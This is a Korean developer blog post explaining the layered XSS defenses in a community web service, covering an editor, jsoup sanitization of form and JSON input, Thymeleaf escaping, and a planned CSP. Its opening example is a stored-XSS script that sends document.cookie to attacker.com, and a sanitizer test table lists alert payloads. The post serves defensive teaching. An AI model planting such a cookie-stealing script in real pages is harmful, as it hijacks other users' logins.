XSS(Cross-Site Scripting)는 공격자가 게시글, 댓글, 닉네임 같은 입력 필드에 악성 스크립트를 삽입하고, 이것이 다른 사용자의 브라우저에서 실행되도록 만드는 공격입니다.
<!-- 공격자가 게시글 제목에 아래와 같이 입력한다면 -->
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
이 스크립트가 그대로 저장됐다가 다른 사용자가 게시글 목록을 조회할 때 실행되면, 로그인 쿠키가 탈취될 수 있습니다. 게시글, 댓글, 닉네임처럼 사용자 입력을 받아 화면에 출력하는 커뮤니티 서비스에서는 반드시 방어가 필요합니다.
XSS 방어는 여러 계층을 함께 적용하는 게 일반적입니다.
현재 Popping에서는 1~3번 방어를 적용했고, CSP는 아직 적용하지 않았습니다. 따라서 입력 정화와 안전한 출력에 의존하는 구조이며, 브라우저 단계의 추가 방어선은 앞으로 보완할 여지가 있습니다.
게시글 작성 화면에서 일반 <textarea>를 사용하면 사용자가 HTML을 자유롭게 입력할 수 있습니다. Toast UI Editor를 적용하면 사용자는 일반적인 에디터 UI 경로에서는 마크다운 또는 WYSIWYG 도구모음을 통해 제한된 형태의 HTML을 작성하게 됩니다.
<!-- form.html -->
<link rel="stylesheet" href="https://uicdn.toast.com/editor/latest/toastui-editor.min.css" />
<script src="https://uicdn.toast.com/editor/latest/toastui-editor-all.min.js"></script>
<div id="memberEditor"></div>
<input type="hidden" name="content" id="memberContent" />
memberEditor = new toastui.Editor({
el: document.getElementById('memberEditor'),
height: '400px',
initialEditType: 'wysiwyg',
previewStyle: 'vertical',
hooks: {
addImageBlobHook: async (blob, callback) => {
const imageUrl = await uploadImage(blob);
callback(imageUrl, blob.name || 'image');
}
}
});
// 폼 제출 시 에디터 HTML을 hidden input에 주입
document.getElementById('memberForm').addEventListener('submit', function () {
document.getElementById('memberContent').value = memberEditor.getHTML();
});
따라서 일반적인 사용 흐름에서는 <script>, onclick 같은 위험한 코드가 그대로 들어갈 가능성을 줄일 수 있습니다. 다만 공격자는 브라우저 에디터를 거치지 않고 직접 HTTP 요청을 조작할 수 있으므로, 에디터만으로 XSS를 막을 수는 없고 서버 측 정화가 반드시 뒤따라야 합니다.
이미지는 에디터의 addImageBlobHook을 통해 /images/upload API로 업로드되고, 반환된 URL만 <img src=""> 형태로 삽입됩니다. 따라서 일반적인 에디터 사용 흐름에서는 임의의 외부 URL이나 javascript: 프로토콜이 그대로 들어갈 가능성을 낮출 수 있습니다. 다만 직접 요청 조작까지 막아주는 것은 아니므로 서버 검증이 여전히 필요합니다.
에디터를 우회한 직접 HTTP 요청이나 댓글 같은 일반 텍스트 입력에 대비해 서버에서 한 번 더 정화합니다.
implementation 'org.jsoup:jsoup:1.16.1'
@Component
public class HtmlSanitizer {
private static final Safelist CONTENT_SAFELIST = Safelist.relaxed()
.addTags("img")
.addAttributes("img", "src", "alt", "title")
.addProtocols("img", "src", "http", "https");
public String sanitize(String input) {
if (input == null) return null;
return Jsoup.clean(input, CONTENT_SAFELIST);
}
}
Safelist.relaxed()는 <b>, <i>, <p>, <a> 같은 서식 태그는 허용하고, <script>, <iframe>, onclick 같은 위험한 요소는 제거하는 허용 목록입니다. <img>는 기본 허용 목록에 없어 직접 추가했고, http/https 프로토콜만 허용해 javascript: 우회도 차단했습니다.
| 입력 | 출력 |
|---|---|
<script>alert('xss')</script>Hello | Hello |
<p>내용</p> | <p>내용</p> |
<img src="javascript:alert(1)"> | `` (제거됨) |
<b>굵게</b> 텍스트 | <b>굵게</b> 텍스트 |
처음에는 @ControllerAdvice에 @InitBinder만 등록하면 모든 입력이 정화될 거라고 생각했습니다.
@ControllerAdvice
@RequiredArgsConstructor
public class GlobalBindingConfig {
private final HtmlSanitizer htmlSanitizer;
// 쿼리 파라미터, @RequestParam, @ModelAttribute (폼 데이터)
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.registerCustomEditor(String.class, new PropertyEditorSupport() {
@Override
public void setAsText(String text) {
setValue(htmlSanitizer.sanitize(text));
}
});
}
}
그런데 @InitBinder는 쿼리 파라미터, @RequestParam, @ModelAttribute 같은 폼 데이터에만 적용되고, @RequestBody로 들어오는 JSON은 Jackson이 역직렬화하기 때문에 @InitBinder를 거치지 않습니다. JSON으로 요청이 들어오면 정화가 전혀 되지 않는 문제가 있었습니다.
이를 해결하기 위해 Jackson의 커스텀 Deserializer를 추가했습니다.
// @RequestBody JSON 역직렬화
@Bean
public Jackson2ObjectMapperBuilderCustomizer jackson2ObjectMapperBuilderCustomizer() {
return builder -> {
builder.deserializerByType(String.class, new HtmlSanitizingDeserializer(htmlSanitizer));
};
}
}
@RequiredArgsConstructor
public class HtmlSanitizingDeserializer extends JsonDeserializer<String> {
private final HtmlSanitizer htmlSanitizer;
@Override
public String deserialize(JsonParser p, DeserializationContext ctxt) throws IOException {
String value = p.getValueAsString();
if (value == null) return null;
return htmlSanitizer.sanitize(value);
}
}
Jackson2ObjectMapperBuilderCustomizer로 String 타입 역직렬화 시 HtmlSanitizingDeserializer가 동작하도록 등록하면, JSON body의 모든 문자열 필드가 정화됩니다. 이 프로젝트 기준으로는 폼/쿼리 파라미터와 JSON body가 서로 다른 바인딩 경로를 타기 때문에, 두 경로를 각각 처리해야 입력 정화 범위를 보다 안정적으로 확보할 수 있었습니다.
게시글, 댓글, 닉네임처럼 사용자 입력이 곧 화면에 노출되는 커뮤니티 구조이기 때문에 전역 문자열 정화를 적용했습니다. 다만 일반 텍스트 원문 보존이나 코드 블록 보존이 더 중요한 서비스라면, 필드별로 적용 범위를 더 세밀하게 나누는 편이 적절할 수 있습니다.
th:utext게시글 본문은 Toast UI Editor가 생성한 리치 HTML(<b>, <img>, <p> 등)을 렌더링해야 하므로 th:utext를 사용합니다. th:text로 바꾸면 태그가 문자열로 출력됩니다.
<!-- post/detail.html -->
<div class="post-content mt-6" th:utext="${post.content}">게시글 내용</div>
th:utext는 HTML을 이스케이프하지 않고 그대로 출력하기 때문에 서버 측 정화가 반드시 선행되어야 합니다. 이 프로젝트에서는 게시글 본문을 저장하기 전에 jsoup으로 정화하고 있으므로, th:utext는 서버가 허용한 HTML 범위 안에서 정제된 본문에 한해 제한적으로 사용했습니다.
th:text제목, 닉네임, 게시판 이름처럼 HTML 렌더링이 필요 없는 값은 모두 th:text로 출력합니다. th:text는 <, >, & 같은 특수문자를 자동으로 HTML 엔티티로 변환합니다.
<h1 th:text="${post.title}">제목</h1>
<span th:text="${post.authorName}">작성자</span>
<h3 th:text="${board.name}">게시판 이름</h3>
게시글 본문만 정화 후 제한적으로 HTML 렌더링하고, 나머지 텍스트는 기본 이스케이프를 적용하는 방식으로 구분했습니다.
CSP는 HTTP 응답 헤더로 브라우저에게 "이 페이지에서는 특정 출처의 스크립트만 실행 허용"이라고 지시하는 정책입니다. 앞선 방어를 우회해 악성 스크립트가 HTML에 삽입되더라도, 브라우저 단계에서 실행을 제한하는 추가 방어선이 될 수 있습니다.
Content-Security-Policy: default-src 'self'; script-src 'self' https://uicdn.toast.com https://cdn.tailwindcss.com
Spring Security에서는 아래처럼 설정할 수 있습니다.
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self' https://uicdn.toast.com https://cdn.tailwindcss.com")
)
);
Popping은 현재 Toast UI Editor와 Tailwind CSS를 CDN에서 로드하고 있어 script-src에 외부 도메인 허용이 필요합니다. 또한 댓글 렌더링에 JS 템플릿 리터럴을 사용하고 있어 CSP를 바로 적용하기보다 먼저 프런트 스크립트 구조를 정리할 필요가 있었습니다. 이 때문에 CSP는 아직 적용하지 않았습니다.
| 계층 | 방법 | 구현 여부 |
|---|---|---|
| 신뢰할 수 있는 에디터 | Toast UI Editor (WYSIWYG) | ✅ |
| HTML 정화 | jsoup Safelist + GlobalBindingConfig | ✅ |
| 안전한 출력 | Thymeleaf th:text / 정화 후 th:utext | ✅ |
| CSP | Spring Security contentSecurityPolicy | ❌ |
사용자 입력
│
├─ 게시글 본문: Toast UI Editor
│ └─ 일반적인 UI 경로에서는 제한된 형태의 HTML 작성
│
▼
서버 수신 (GlobalBindingConfig 자동 적용)
├─ 폼/쿼리파라미터 → @InitBinder → sanitize()
└─ JSON Body → HtmlSanitizingDeserializer → sanitize()
└─ jsoup Safelist.relaxed()
→ <script> 제거, 이벤트 속성 제거, javascript: 프로토콜 차단
│
▼
DB 저장 (정제된 데이터)
│
▼
뷰 렌더링
├─ 게시글 본문: th:utext (정화 완료된 본문만 제한적으로 렌더링)
└─ 제목/닉네임 등: th:text (자동 HTML 엔티티 이스케이프)
│
▼
브라우저 출력